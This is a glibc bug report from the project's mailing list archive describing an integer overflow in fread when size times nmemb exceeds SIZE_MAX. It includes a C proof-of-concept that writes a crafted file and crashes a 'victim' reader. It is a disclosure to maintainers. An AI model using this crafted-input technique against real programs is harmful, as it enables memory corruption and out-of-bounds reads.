This is the mail archive of the
glibc-bugs@sourceware.org
mailing list for the glibc project.
[Bug stdio/19165] New: fread overflow
- From: "cherepan at mccme dot ru" <sourceware-bugzilla at sourceware dot org>
- To: glibc-bugs at sourceware dot org
- Date: Thu, 22 Oct 2015 17:53:58 +0000
- Subject: [Bug stdio/19165] New: fread overflow
- Auto-submitted: auto-generated
https://sourceware.org/bugzilla/show_bug.cgi?id=19165
Bug ID: 19165
Summary: fread overflow
Product: glibc
Version: 2.19
Status: NEW
Severity: normal
Priority: P2
Component: stdio
Assignee: unassigned at sourceware dot org
Reporter: cherepan at mccme dot ru
Target Milestone: ---
There two problems with fread when size * nmemb > SIZE_MAX:
1) it seems that fread will read only size * nmemb % (SIZE_MAX + 1) bytes
instead of whole file (the buffer can hardly be larger than SIZE_MAX bytes,
hence the file should be smaller than this);
2) fread will report that all nmemb elements are read if, additionally, size *
nmemb % (SIZE_MAX + 1) != 0.
Both things are wrong and can lead to security problems when nmemb (or size)
comes from an untrusted source and the program depends on the assumption that
fread cannot read more bytes than file size and that its result is accurate.
The following program works with the file of size 12 and outputs this (on
64-bit platform):
want to read: 4611686018427387905
actually read: 4611686018427387905
Segmentation fault
Tested on Debian jessie (glibc 2.19-18+deb8u1).
#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
/* victim function trying to be safe */
int process_file(void)
{
FILE *f = fopen("fread-overflow.dat", "rb");
if (!f)
return 1;
/* get file size */
if (fseek(f, 0, SEEK_END))
return 2;
long size = ftell(f);
if (size <= 0)
return 3;
if (fseek(f, 0, SEEK_SET))
return 4;
if (size > 1000) { /* This could be omitted given that malloc is checked. */
printf("File too large.\n");
return 5;
}
/* file size should be enough for everything read from the file */
unsigned *buf = malloc(size);
if (!buf) {
printf("Not enough memory.\n");
return 6;
}
/* read number of elements from the file */
size_t nmemb;
if (fread(&nmemb, sizeof(nmemb), 1, f) != 1)
return 7;
printf("want to read: %zu\n", nmemb);
/* fread cannot read more bytes than the file size */
size_t n = fread(buf, sizeof(buf[0]), nmemb, f);
printf("actually read: %zu\n", n);
if (n != nmemb) {
printf("Truncated file\n");
return 8;
}
fclose(f);
unsigned sum;
for (size_t i = 0; i < nmemb; i++)
sum += buf[i];
printf("sum = %u\n", sum);
return 0;
}
/* preparing attack */
void prepare_file(void)
{
FILE *f = fopen("fread-overflow.dat", "wb");
/* number of elements */
size_t nmemb = SIZE_MAX / sizeof(unsigned) + 2;
fwrite(&nmemb, sizeof(nmemb), 1, f);
/* some garbage */
fwrite(&nmemb, sizeof(unsigned), 1, f);
fclose(f);
}
int main(void)
{
prepare_file();
return process_file();
}
--
You are receiving this mail because:
You are on the CC list for the bug.